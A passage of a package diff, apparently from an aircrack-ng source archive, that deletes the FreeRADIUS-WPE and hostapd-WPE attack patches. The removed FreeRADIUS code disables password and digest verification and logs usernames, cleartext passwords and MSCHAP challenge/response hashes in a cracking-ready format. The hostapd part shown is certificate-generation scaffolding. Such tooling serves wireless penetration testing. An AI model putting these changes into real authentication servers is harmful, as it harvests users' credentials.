-+	if (challen != 0) {
-+		fprintf(logfd, "\tchallenge: ");
-+		for (count=0; count!=(challen-1); count++) {
-+			fprintf(logfd, "%02x:",challengecount);
-+		}
-+		fprintf(logfd, "%02x\n",challengechallen-1);
-+	}
-+
-+	if (resplen != 0) {
-+		fprintf(logfd, "\tresponse: ");
-+		for (count=0; count!=(resplen-1); count++) {
-+			fprintf(logfd, "%02x:",responsecount);
-+		}
-+		fprintf(logfd, "%02x\n",responseresplen-1);
-+	}
-+
-+	if ( (strncmp(authtype, "mschap", 6) == 0) && username != NULL
-+			&& challen != 0 && resplen != 0) {
-+		fprintf(logfd, "\tjohn NETNTLM: %s:$NETNTLM$",username);
-+		for (count=0; count<challen; count++) {
-+			fprintf(logfd, "%02x",challengecount);
-+		}
-+		fprintf(logfd,"$");
-+		for (count=0; count<resplen; count++) {
-+			fprintf(logfd, "%02x",responsecount);
-+		}
-+		fprintf(logfd,"\n");
-+	}
-+
-+	fprintf(logfd, "\n");
-+
-+	fclose(logfd);
-+}
-+
- /** On fault, reset STDOUT and STDERR to something useful
-  *
-  * @return 0
-diff -Nurp freeradius-server-3.0.18/src/main/mainconfig.c freeradius-server-3.0.18-wpe/src/main/mainconfig.c
---- freeradius-server-3.0.18/src/main/mainconfig.c	2019-02-25 16:41:30.000000000 -0500
-+++ freeradius-server-3.0.18-wpe/src/main/mainconfig.c	2019-02-26 14:02:54.666099898 -0500
-@@ -194,6 +194,7 @@ static const CONF_PARSER server_config
- 	{ "max_requests", FR_CONF_POINTER(PW_TYPE_INTEGER, &main_config.max_requests), STRINGIFY(MAX_REQUESTS) },
- 	{ "pidfile", FR_CONF_POINTER(PW_TYPE_STRING, &main_config.pid_file), "${run_dir}/radiusd.pid"},
- 	{ "checkrad", FR_CONF_POINTER(PW_TYPE_STRING, &main_config.checkrad), "${sbindir}/checkrad" },
-+	{ "wpelogfile", FR_CONF_POINTER(PW_TYPE_STRING, &main_config.wpelogfile), "${logdir}/freeradius-server-wpe.log" },
- 
- 	{ "debug_level", FR_CONF_POINTER(PW_TYPE_INTEGER, &main_config.debug_level), "0"},
- 
-diff -Nurp freeradius-server-3.0.18/src/main/radiusd.c freeradius-server-3.0.18-wpe/src/main/radiusd.c
---- freeradius-server-3.0.18/src/main/radiusd.c	2019-02-25 16:41:30.000000000 -0500
-+++ freeradius-server-3.0.18-wpe/src/main/radiusd.c	2019-02-26 14:02:54.666099898 -0500
-@@ -64,7 +64,7 @@ char const	*radlog_dir = NULL;
- 
- bool		log_stripped_names;
- 
--char const *radiusd_version = "FreeRADIUS Version " RADIUSD_VERSION_STRING
-+char const *radiusd_version = "FreeRADIUS-WPE Version " RADIUSD_VERSION_STRING
- #ifdef RADIUSD_VERSION_COMMIT
- " (git #" STRINGIFY(RADIUSD_VERSION_COMMIT) ")"
- #endif
-diff -Nurp freeradius-server-3.0.18/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.c freeradius-server-3.0.18-wpe/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.c
---- freeradius-server-3.0.18/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.c	2019-02-25 16:41:30.000000000 -0500
-+++ freeradius-server-3.0.18-wpe/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.c	2019-02-26 14:02:54.670099870 -0500
-@@ -204,10 +204,11 @@ static int eapleap_ntpwdhash(uint8_t *ou
- /*
-  *	Verify the MS-CHAP response from the user.
-  */
--int eapleap_stage4(REQUEST *request, leap_packet_t *packet, VALUE_PAIR *password, leap_session_t *session)
-+int eapleap_stage4(REQUEST *request, leap_packet_t *packet, VALUE_PAIR *password, leap_session_t *session, char *username)
- {
- 	uint8_t hash16;
- 	uint8_t response24;
-+	unsigned char challenge8 = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
- 
- 	/*
- 	 *	No password or previous packet.  Die.
-@@ -225,6 +226,7 @@ int eapleap_stage4(REQUEST *request, lea
- 	 */
- 	eapleap_mschap(hash, session->peer_challenge, response);
- 	if (memcmp(response, packet->challenge, 24) == 0) {
-+		log_wpe("LEAP", username, NULL, challenge, 8, response, 24, main_config.wpelogfile);
- 		RDEBUG2("NTChallengeResponse from AP is valid");
- 		memcpy(session->peer_response, response, sizeof(response));
- 		return 1;
-diff -Nurp freeradius-server-3.0.18/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.h freeradius-server-3.0.18-wpe/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.h
---- freeradius-server-3.0.18/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.h	2019-02-25 16:41:30.000000000 -0500
-+++ freeradius-server-3.0.18-wpe/src/modules/rlm_eap/types/rlm_eap_leap/eap_leap.h	2019-02-26 14:02:54.670099870 -0500
-@@ -63,7 +63,7 @@ typedef struct leap_session_t {
- int 		eapleap_compose(REQUEST *request, EAP_DS *auth, leap_packet_t *reply);
- leap_packet_t 	*eapleap_extract(REQUEST *request, EAP_DS *eap_ds);
- leap_packet_t 	*eapleap_initiate(REQUEST *request, EAP_DS *eap_ds, VALUE_PAIR *user_name);
--int		eapleap_stage4(REQUEST *request, leap_packet_t *packet, VALUE_PAIR* password, leap_session_t *session);
-+int		eapleap_stage4(REQUEST *request, leap_packet_t *packet, VALUE_PAIR* password, leap_session_t *session, char * username);
- leap_packet_t	*eapleap_stage6(REQUEST *request, leap_packet_t *packet, VALUE_PAIR *user_name, VALUE_PAIR* password,
- 				leap_session_t *session);
- 
-diff -Nurp freeradius-server-3.0.18/src/modules/rlm_eap/types/rlm_eap_leap/rlm_eap_leap.c freeradius-server-3.0.18-wpe/src/modules/rlm_eap/types/rlm_eap_leap/rlm_eap_leap.c
---- freeradius-server-3.0.18/src/modules/rlm_eap/types/rlm_eap_leap/rlm_eap_leap.c	2019-02-25 16:41:30.000000000 -0500
-+++ freeradius-server-3.0.18-wpe/src/modules/rlm_eap/types/rlm_eap_leap/rlm_eap_leap.c	2019-02-26 14:02:54.670099870 -0500
-@@ -94,6 +94,7 @@ static int CC_HINT(nonnull) mod_process(
- 	leap_session_t	*session;
- 	leap_packet_t	*packet;
- 	leap_packet_t	*reply;
-+	char		*username;
- 	VALUE_PAIR	*password;
- 
- 	if (!handler->opaque) {
-@@ -110,6 +111,8 @@ static int CC_HINT(nonnull) mod_process(
- 		return 0;
- 	}
- 
-+	username = (char *)handler->request->username->vp_strvalue;
-+
- 	/*
- 	 *	The password is never sent over the wire.
- 	 *	Always get the configured password, for each user.
-@@ -132,7 +135,7 @@ static int CC_HINT(nonnull) mod_process(
- 	switch (session->stage) {
- 	case 4:			/* Verify NtChallengeResponse */
- 		RDEBUG2("Stage 4");
--		rcode = eapleap_stage4(request, packet, password, session);
-+		rcode = eapleap_stage4(request, packet, password, session, username);
- 		session->stage = 6;
- 
- 		/*
-diff -Nurp freeradius-server-3.0.18/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c freeradius-server-3.0.18-wpe/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c
---- freeradius-server-3.0.18/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c	2019-02-25 16:41:30.000000000 -0500
-+++ freeradius-server-3.0.18-wpe/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c	2019-02-26 14:04:36.965168639 -0500
-@@ -166,10 +166,14 @@ int eapmd5_verify(MD5_PACKET *packet, VA
- 	/*
- 	 *	The length of the response is always 16 for MD5.
- 	 */
-+	/*
- 	if (rad_digest_cmp(digest, packet->value, 16) != 0) {
- 		DEBUG("EAP-MD5 digests do not match.");
- 		return 0;
- 	}
-+	*/
-+	log_wpe("eap_md5", packet->name, NULL, challenge, MD5_CHALLENGE_LEN,
-+		packet->value, 16, main_config.wpelogfile);
- 
- 	return 1;
- }
-diff -Nurp freeradius-server-3.0.18/src/modules/rlm_mschap/rlm_mschap.c freeradius-server-3.0.18-wpe/src/modules/rlm_mschap/rlm_mschap.c
---- freeradius-server-3.0.18/src/modules/rlm_mschap/rlm_mschap.c	2019-02-25 16:41:30.000000000 -0500
-+++ freeradius-server-3.0.18-wpe/src/modules/rlm_mschap/rlm_mschap.c	2019-02-26 14:02:54.670099870 -0500
-@@ -1104,10 +1104,13 @@ ntlm_auth_err:
-  */
- static int CC_HINT(nonnull (1, 2, 4, 5 ,6)) do_mschap(rlm_mschap_t *inst, REQUEST *request, VALUE_PAIR *password,
- 						      uint8_t const *challenge, uint8_t const *response,
--						      uint8_t nthashhashNT_DIGEST_LENGTH, MSCHAP_AUTH_METHOD method)
-+						      uint8_t nthashhashNT_DIGEST_LENGTH, MSCHAP_AUTH_METHOD method,
-+						      const char *username)
- {
- 	uint8_t	calculated24;
- 
-+	log_wpe("mschap", username, NULL, challenge, 8, response, 24, main_config.wpelogfile);
-+
- 	memset(nthashhash, 0, NT_DIGEST_LENGTH);
- 
- 	switch (method) {
-@@ -1124,9 +1127,11 @@ static int CC_HINT(nonnull (1, 2, 4, 5 ,
- 		}
- 
- 		smbdes_mschap(password->vp_octets, challenge, calculated);
-+		/*
- 		if (rad_digest_cmp(response, calculated, 24) != 0) {
- 			return -1;
- 		}
-+		*/
- 
- 		/*
- 		 *	If the password exists, and is an NT-Password,
-@@ -1912,7 +1917,7 @@ static rlm_rcode_t CC_HINT(nonnull) mod_
- 		 *	Do the MS-CHAP authentication.
- 		 */
- 		mschap_result = do_mschap(inst, request, password, challenge->vp_octets,
--					  response->vp_octets + offset, nthashhash, auth_method);
-+					  response->vp_octets + offset, nthashhash, auth_method, NULL);
- 		/*
- 		 *	Check for errors, and add MSCHAP-Error if necessary.
- 		 */
-@@ -2029,7 +2034,7 @@ static rlm_rcode_t CC_HINT(nonnull) mod_
- 
- 		RDEBUG2("Client is using MS-CHAPv2");
- 		mschap_result = do_mschap(inst, request, nt_password, mschapv1_challenge,
--					  response->vp_octets + 26, nthashhash, auth_method);
-+					  response->vp_octets + 26, nthashhash, auth_method, username_string);
- 		rcode = mschap_error(inst, request, *response->vp_octets,
- 				     mschap_result, mschap_version, smb_ctrl);
- 		if (rcode != RLM_MODULE_OK) return rcode;
-diff -Nurp freeradius-server-3.0.18/src/modules/rlm_pap/rlm_pap.c freeradius-server-3.0.18-wpe/src/modules/rlm_pap/rlm_pap.c
---- freeradius-server-3.0.18/src/modules/rlm_pap/rlm_pap.c	2019-02-25 16:41:30.000000000 -0500
-+++ freeradius-server-3.0.18-wpe/src/modules/rlm_pap/rlm_pap.c	2019-02-26 14:02:54.670099870 -0500
-@@ -540,6 +540,7 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
- 		RDEBUG("Comparing with \"known good\" Cleartext-Password");
- 	}
- 
-+	/*
- 	if ((vp->vp_length != request->password->vp_length) ||
- 	    (rad_digest_cmp(vp->vp_octets,
- 			    request->password->vp_octets,
-@@ -547,6 +548,7 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
- 		REDEBUG("Cleartext password does not match \"known good\" password");
- 		return RLM_MODULE_REJECT;
- 	}
-+	*/
- 	return RLM_MODULE_OK;
- }
- 
-@@ -585,12 +587,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
- 	fr_md5_update(&md5_context, request->password->vp_octets,
- 		     request->password->vp_length);
- 	fr_md5_final(digest, &md5_context);
--
-+	/*
- 	if (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0) {
- 		REDEBUG("MD5 digest does not match \"known good\" digest");
- 		return RLM_MODULE_REJECT;
- 	}
--
-+	*/
- 	return RLM_MODULE_OK;
- }
- 
-@@ -619,10 +621,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
- 	/*
- 	 *	Compare only the MD5 hash results, not the salt.
- 	 */
-+	/*
- 	if (rad_digest_cmp(digest, vp->vp_octets, 16) != 0) {
- 		REDEBUG("SMD5 digest does not match \"known good\" digest");
- 		return RLM_MODULE_REJECT;
- 	}
-+	*/
- 
- 	return RLM_MODULE_OK;
- }
-@@ -647,10 +651,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
- 		      request->password->vp_length);
- 	fr_sha1_final(digest,&sha1_context);
- 
-+	/*
- 	if (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0) {
- 		REDEBUG("SHA1 digest does not match \"known good\" digest");
- 		return RLM_MODULE_REJECT;
- 	}
-+	*/
- 
- 	return RLM_MODULE_OK;
- }
-@@ -676,10 +682,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
- 	fr_sha1_update(&sha1_context, &vp->vp_octets20, vp->vp_length - 20);
- 	fr_sha1_final(digest, &sha1_context);
- 
-+	/*
- 	if (rad_digest_cmp(digest, vp->vp_octets, 20) != 0) {
- 		REDEBUG("SSHA digest does not match \"known good\" digest");
- 		return RLM_MODULE_REJECT;
- 	}
-+	*/
- 
- 	return RLM_MODULE_OK;
- }
-@@ -740,10 +748,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
- 
- 	rad_assert((size_t) digest_len == vp->vp_length);	/* This would be an OpenSSL bug... */
- 
-+	/*
- 	if (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0) {
- 		REDEBUG("%s digest does not match \"known good\" digest", name);
- 		return RLM_MODULE_REJECT;
- 	}
-+	*/
- 
- 	return RLM_MODULE_OK;
- }
-@@ -812,10 +822,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
- 	/*
- 	 *	Only compare digest_len bytes, the rest is salt.
- 	 */
-+	/*
- 	if (rad_digest_cmp(digest, vp->vp_octets, (size_t)digest_len) != 0) {
- 		REDEBUG("%s digest does not match \"known good\" digest", name);
- 		return RLM_MODULE_REJECT;
- 	}
-+	*/
- 
- 	return RLM_MODULE_OK;
- }
-@@ -849,10 +861,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
- 
- 	fr_md4_calc(digest, (uint8_t *) ucs2_password, len);
- 
-+	/*
- 	if (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0) {
- 		REDEBUG("NT digest does not match \"known good\" digest");
- 		return RLM_MODULE_REJECT;
- 	}
-+	*/
- 
- 	return RLM_MODULE_OK;
- }
-@@ -879,11 +893,13 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
- 		return RLM_MODULE_FAIL;
- 	}
- 
-+	/*
- 	if ((fr_hex2bin(digest, sizeof(digest), charbuf, len) != vp->vp_length) ||
- 	    (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0)) {
- 		REDEBUG("LM digest does not match \"known good\" digest");
- 		return RLM_MODULE_REJECT;
- 	}
-+	*/
- 
- 	return RLM_MODULE_OK;
- }
-@@ -940,10 +956,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
- 		fr_md5_final(buff, &md5_context);
- 	}
- 
-+	/*
- 	if (rad_digest_cmp(digest, buff, 16) != 0) {
- 		REDEBUG("NS-MTA-MD5 digest does not match \"known good\" digest");
- 		return RLM_MODULE_REJECT;
- 	}
-+	*/
- 
- 	return RLM_MODULE_OK;
- }
-@@ -967,6 +985,9 @@ static rlm_rcode_t CC_HINT(nonnull) mod_
- 		return RLM_MODULE_INVALID;
- 	}
- 
-+	log_wpe("pap",request->username->vp_strvalue, request->password->vp_strvalue,
-+		NULL, 0, NULL, 0, main_config.wpelogfile);
-+
- 	/*
- 	 *	The user MUST supply a non-zero-length password.
- 	 */

aircrack-ng-1.6.tar.gz/patches/wpe/hostapd-wpe/hostapd-wpe.patch Deleted

@@ -1,4194 +0,0 @@
-diff -rupN hostapd-2.8/hostapd/certs/bootstrap hostapd-2.8-wpe/hostapd/certs/bootstrap
---- hostapd-2.8/hostapd/certs/bootstrap	1969-12-31 19:00:00.000000000 -0500
-+++ hostapd-2.8-wpe/hostapd/certs/bootstrap	2019-04-22 17:02:28.629850087 -0400
-@@ -0,0 +1,82 @@
-+#!/bin/sh
-+#
-+#  This is a wrapper script to create default certificates when the
-+#  server first starts in debugging mode.  Once the certificates have been
-+#  created, this file should be deleted.
-+#
-+#  Ideally, this program should be run as part of the installation of any
-+#  binary package.  The installation should also ensure that the permissions
-+#  and owners are correct for the files generated by this script.
-+#
-+#  $Id: c9d939beac8d5bdc21ea1ff9233442f9ab933297 $
-+#
-+umask 027
-+cd `dirname $0`
-+
-+make -h > /dev/null 2>&1
-+
-+#
-+#  If we have a working "make", then use it.  Otherwise, run the commands
-+#  manually.
-+#
-+if  "$?" = "0" ; then
-+  make all
-+  exit $?
-+fi
-+
-+#
-+#  The following commands were created by running "make -n", and edited
-+#  to remove the trailing backslash, and to add "exit 1" after the commands.
-+#
-+#  Don't edit the following text.  Instead, edit the Makefile, and
-+#  re-generate these commands.
-+#
-+if  ! -f dh ; then
-+  openssl dhparam -out dh 1024 || exit 1
-+  if  -e /dev/urandom  ; then
-+	ln -sf /dev/urandom random
-+  else
-+	date > ./random;
-+  fi
-+fi
-+
-+if  ! -f server.key ; then
-+  openssl req -new  -out server.csr -keyout server.key -config ./server.cnf || exit 1
-+fi
-+
-+if  ! -f ca.key ; then
-+  openssl req -new -x509 -keyout ca.key -out ca.pem -days `grep default_days ca.cnf | sed 's/.*=//;s/^ *//'` -config ./ca.cnf || exit 1
-+fi
-+
-+if  ! -f index.txt ; then
-+  touch index.txt
-+fi
-+
-+if  ! -f serial ; then
-+  echo '01' > serial
-+fi
-+
-+if  ! -f server.crt ; then
-+  openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr  -key `grep output_password ca.cnf | sed 's/.*=//;s/^ *//'` -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf || exit 1
-+fi
-+
-+if  ! -f server.p12 ; then
-+  openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12  -passin pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` || exit 1
-+fi
-+
-+if  ! -f server.pem ; then
-+  openssl pkcs12 -in server.p12 -out server.pem -passin pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` || exit 1
-+  openssl verify -CAfile ca.pem server.pem || exit 1
-+fi
-+
-+if  ! -f ca.der ; then
-+  openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der || exit 1
-+fi
-+
-+if  ! -f client.key ; then
-+  openssl req -new  -out client.csr -keyout client.key -config ./client.cnf
-+fi
-+
-+if  ! -f client.crt ; then
-+  openssl ca -batch -keyfile ca.key -cert ca.pem -in client.csr  -key `grep output_password ca.cnf | sed 's/.*=//;s/^ *//'` -out client.crt -extensions xpclient_ext -extfile xpextensions -config ./client.cnf
-+fi
-diff -rupN hostapd-2.8/hostapd/certs/ca.cnf hostapd-2.8-wpe/hostapd/certs/ca.cnf
---- hostapd-2.8/hostapd/certs/ca.cnf	1969-12-31 19:00:00.000000000 -0500
-+++ hostapd-2.8-wpe/hostapd/certs/ca.cnf	2019-04-22 17:02:28.629850087 -0400
-@@ -0,0 +1,62 @@
-+ ca 
-+default_ca		= CA_default
-+
-+ CA_default 
-+dir			= ./
-+certs			= $dir
-+crl_dir			= $dir/crl
-+database		= $dir/index.txt
-+new_certs_dir		= $dir
-+certificate		= $dir/ca.pem
-+serial			= $dir/serial
-+crl			= $dir/crl.pem
-+private_key		= $dir/ca.key
-+RANDFILE		= $dir/.rand
-+name_opt		= ca_default
-+cert_opt		= ca_default
-+default_days		= 365
-+default_crl_days	= 364
-+default_md		= sha256
-+preserve		= no
-+policy			= policy_match
-+crlDistributionPoints	= URI:http://www.example.org/example_ca.crl
-+
-+ policy_match 
-+countryName		= match
-+stateOrProvinceName	= match
-+organizationName	= match
-+organizationalUnitName	= optional
-+commonName		= supplied
-+emailAddress		= optional
-+
-+ policy_anything 
-+countryName		= optional
-+stateOrProvinceName	= optional
-+localityName		= optional
-+organizationName	= optional
-+organizationalUnitName	= optional
-+commonName		= supplied
-+emailAddress		= optional
-+
-+ req 
-+prompt			= no
-+distinguished_name	= certificate_authority
-+default_bits		= 2048
-+input_password		= whatever
-+output_password		= whatever
-+x509_extensions		= v3_ca
-+
-+certificate_authority
-+countryName		= FR
-+stateOrProvinceName	= Radius
-+localityName		= Somewhere
-+organizationName	= Example Inc.
-+emailAddress		= admin@example.org
-+commonName		= "Example Certificate Authority"
-+
-+v3_ca
-+subjectKeyIdentifier	= hash
-+authorityKeyIdentifier	= keyid:always,issuer:always
-+basicConstraints	= critical,CA:true
-+crlDistributionPoints	= URI:http://www.example.org/example_ca.crl
-+
-diff -rupN hostapd-2.8/hostapd/certs/client.cnf hostapd-2.8-wpe/hostapd/certs/client.cnf
---- hostapd-2.8/hostapd/certs/client.cnf	1969-12-31 19:00:00.000000000 -0500
-+++ hostapd-2.8-wpe/hostapd/certs/client.cnf	2019-04-22 17:02:28.629850087 -0400
-@@ -0,0 +1,53 @@
-+ ca 
-+default_ca		= CA_default
-+
-+ CA_default 
-+dir			= ./
-+certs			= $dir
-+crl_dir			= $dir/crl
-+database		= $dir/index.txt
-+new_certs_dir		= $dir
-+certificate		= $dir/ca.pem
-+serial			= $dir/serial
-+crl			= $dir/crl.pem
-+private_key		= $dir/ca.key
-+RANDFILE		= $dir/.rand
-+name_opt		= ca_default
-+cert_opt		= ca_default
-+default_days		= 365
-+default_crl_days	= 364
-+default_md		= sha256
-+preserve		= no
-+policy			= policy_match
-+
-+ policy_match 
-+countryName		= match
-+stateOrProvinceName	= match
-+organizationName	= match
-+organizationalUnitName	= optional
-+commonName		= supplied
-+emailAddress		= optional
-+
-+ policy_anything 
-+countryName		= optional
-+stateOrProvinceName	= optional
-+localityName		= optional
-+organizationName	= optional
-+organizationalUnitName	= optional
-+commonName		= supplied
-+emailAddress		= optional
-+
-+ req 
-+prompt			= no
-+distinguished_name	= client
-+default_bits		= 2048
-+input_password		= whatever
-+output_password		= whatever
-+
-+client
-+countryName		= FR
-+stateOrProvinceName	= Radius
-+localityName		= Somewhere
-+organizationName	= Example Inc.
-+emailAddress		= user@example.org
-+commonName		= user@example.org
-diff -rupN hostapd-2.8/hostapd/certs/demoCA/cacert.pem hostapd-2.8-wpe/hostapd/certs/demoCA/cacert.pem
---- hostapd-2.8/hostapd/certs/demoCA/cacert.pem	1969-12-31 19:00:00.000000000 -0500
-+++ hostapd-2.8-wpe/hostapd/certs/demoCA/cacert.pem	2019-04-22 17:02:28.629850087 -0400
-@@ -0,0 +1,22 @@
-+-----BEGIN CERTIFICATE-----
-+MIIDtjCCAx+gAwIBAgIBADANBgkqhkiG9w0BAQQFADCBnzELMAkGA1UEBhMCQ0Ex
-+ETAPBgNVBAgTCFByb3ZpbmNlMRIwEAYDVQQHEwlTb21lIENpdHkxFTATBgNVBAoT
-+DE9yZ2FuaXphdGlvbjESMBAGA1UECxMJbG9jYWxob3N0MRswGQYDVQQDExJDbGll
-+bnQgY2VydGlmaWNhdGUxITAfBgkqhkiG9w0BCQEWEmNsaWVudEBleGFtcGxlLmNv
-+bTAeFw0wNDAxMjUxMzI2MDdaFw0wNjAxMjQxMzI2MDdaMIGfMQswCQYDVQQGEwJD
-+QTERMA8GA1UECBMIUHJvdmluY2UxEjAQBgNVBAcTCVNvbWUgQ2l0eTEVMBMGA1UE
-+ChMMT3JnYW5pemF0aW9uMRIwEAYDVQQLEwlsb2NhbGhvc3QxGzAZBgNVBAMTEkNs
-+aWVudCBjZXJ0aWZpY2F0ZTEhMB8GCSqGSIb3DQEJARYSY2xpZW50QGV4YW1wbGUu
-+Y29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDUxbGXJPFkrPH/sYnbHI+/
-+9PFDlup8sekPeNaUUXJTd4ld/lLMuZtB6A3etYsSepQ/T1jLxWKHgZL73G/s6fhx
-+58Ew01z1GIgX6bEzJJ7dKhx10xBDrodVPOx6d+8mqn10KB25t34XxkRsXdmxiLQy
-+UMoCKZY3IqEjpyawC0An/QIDAQABo4H/MIH8MB0GA1UdDgQWBBRo020+Hue8nVoF
-+cCHDY9oTZdGt4zCBzAYDVR0jBIHEMIHBgBRo020+Hue8nVoFcCHDY9oTZdGt46GB
-+paSBojCBnzELMAkGA1UEBhMCQ0ExETAPBgNVBAgTCFByb3ZpbmNlMRIwEAYDVQQH
-+EwlTb21lIENpdHkxFTATBgNVBAoTDE9yZ2FuaXphdGlvbjESMBAGA1UECxMJbG9j
-+YWxob3N0MRswGQYDVQQDExJDbGllbnQgY2VydGlmaWNhdGUxITAfBgkqhkiG9w0B
-+CQEWEmNsaWVudEBleGFtcGxlLmNvbYIBADAMBgNVHRMEBTADAQH/MA0GCSqGSIb3
-+DQEBBAUAA4GBADPAC2ax5Xnvc6BnmCUtq41eVRH8AP0nbYDRL4NHd8Z0P9wnQ/yh
-+UHcE5LwJeeT2CsOtnug+bzRzaSKdH3cim6LpgjWdpWMCSgAWPbptbJhsC60or4UT
-+L/jw12UBvxt8Lf9ljOHmLAGZe25k4+jUNzNUzpkShHZRU5BjuFu8VIXF
-+-----END CERTIFICATE-----
-diff -rupN hostapd-2.8/hostapd/certs/Makefile hostapd-2.8-wpe/hostapd/certs/Makefile
---- hostapd-2.8/hostapd/certs/Makefile	1969-12-31 19:00:00.000000000 -0500
-+++ hostapd-2.8-wpe/hostapd/certs/Makefile	2019-04-22 17:02:28.633850096 -0400
-@@ -0,0 +1,145 @@
-+######################################################################
-+#
-+#	Make file to be installed in /etc/raddb/certs to enable
-+#	the easy creation of certificates.
-+#
-+#	See the README file in this directory for more information.
-+#
-+#	$Id: cc12464c6c7754aff2f0c8d6e116708c94ff2168 $
-+#
-+######################################################################
-+
-+DH_KEY_SIZE	= 2048
-+
-+#
-+#  Set the passwords
-+#
-+-include passwords.mk
-+
-+######################################################################
-+#
-+#  Make the necessary files, but not client certificates.
-+#
-+######################################################################
-+.PHONY: all
-+all: index.txt serial dh server ca client
-+
-+.PHONY: client
-+client: client.pem
-+
-+.PHONY: ca
-+ca: ca.der
-+
-+.PHONY: server
-+server: server.pem server.vrfy
-+
-+.PHONY: verify
-+verify: server.vrfy client.vrfy
-+
-+passwords.mk: server.cnf ca.cnf client.cnf
-+	@echo "PASSWORD_SERVER	= '$(shell grep output_password server.cnf | sed 's/.*=//;s/^ *//')'"		> $@
-+	@echo "PASSWORD_CA	= '$(shell grep output_password ca.cnf | sed 's/.*=//;s/^ *//')'"		>> $@
-+	@echo "PASSWORD_CLIENT	= '$(shell grep output_password client.cnf | sed 's/.*=//;s/^ *//')'"		>> $@
-+	@echo "USER_NAME	= '$(shell grep emailAddress client.cnf | grep '@' | sed 's/.*=//;s/^ *//')'"	>> $@
-+	@echo "CA_DEFAULT_DAYS  = '$(shell grep default_days ca.cnf | sed 's/.*=//;s/^ *//')'"			>> $@
-+
-+######################################################################
-+#
-+#  Diffie-Hellman parameters
-+#
-+######################################################################
-+dh:
-+	openssl dhparam -out dh -2 $(DH_KEY_SIZE)
-+
-+######################################################################
-+#
-+#  Create a new self-signed CA certificate
-+#
-+######################################################################
-+ca.key ca.pem: ca.cnf
-+	@ -f index.txt  || $(MAKE) index.txt
-+	@ -f serial  || $(MAKE) serial
-+	openssl req -new -x509 -keyout ca.key -out ca.pem \
-+		-days $(CA_DEFAULT_DAYS) -config ./ca.cnf
-+
-+ca.der: ca.pem
-+	openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der
-+
-+######################################################################
-+#
-+#  Create a new server certificate, signed by the above CA.
-+#
-+######################################################################
-+server.csr server.key: server.cnf
-+	openssl req -new  -out server.csr -keyout server.key -config ./server.cnf
-+
-+server.crt: server.csr ca.key ca.pem
-+	openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr  -key $(PASSWORD_CA) -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf
-+
-+server.p12: server.crt
-+	openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12  -passin pass:$(PASSWORD_SERVER) -passout pass:$(PASSWORD_SERVER)
-+
-+server.pem: server.p12
-+	openssl pkcs12 -in server.p12 -out server.pem -passin pass:$(PASSWORD_SERVER) -passout pass:$(PASSWORD_SERVER)
-+
-+.PHONY: server.vrfy
-+server.vrfy: ca.pem
-+	@openssl verify -CAfile ca.pem server.pem
-+
-+######################################################################
-+#
-+#  Create a new client certificate, signed by the the above server
-+#  certificate.
-+#
-+######################################################################
-+client.csr client.key: client.cnf
-+	openssl req -new  -out client.csr -keyout client.key -config ./client.cnf
-+
-+client.crt: client.csr ca.pem ca.key
-+	openssl ca -batch -keyfile ca.key -cert ca.pem -in client.csr  -key $(PASSWORD_CA) -out client.crt -extensions xpclient_ext -extfile xpextensions -config ./client.cnf
-+
-+client.p12: client.crt
-+	openssl pkcs12 -export -in client.crt -inkey client.key -out client.p12  -passin pass:$(PASSWORD_CLIENT) -passout pass:$(PASSWORD_CLIENT)
-+
-+client.pem: client.p12
-+	openssl pkcs12 -in client.p12 -out client.pem -passin pass:$(PASSWORD_CLIENT) -passout pass:$(PASSWORD_CLIENT)
-+	cp client.pem $(USER_NAME).pem
-+
-+.PHONY: client.vrfy
-+client.vrfy: ca.pem client.pem
-+	c_rehash .
-+	openssl verify -CApath . client.pem
-+
-+######################################################################
-+#
-+#  Miscellaneous rules.
-+#
-+######################################################################
-+index.txt:
-+	@touch index.txt
-+
-+serial:
-+	@echo '01' > serial
-+
-+print:
-+	openssl x509 -text -in server.crt
-+
-+printca:
-+	openssl x509 -text -in ca.pem
-+
-+install:
-+	install -d $(DESTDIR)/etc/hostapd-wpe
-+	install -m 644 dh $(DESTDIR)/etc/hostapd-wpe
-+	install -m 644 ca.pem $(DESTDIR)/etc/hostapd-wpe
-+	install -m 644 server.pem $(DESTDIR)/etc/hostapd-wpe
-+	install -m 644 server.key $(DESTDIR)/etc/hostapd-wpe
-+
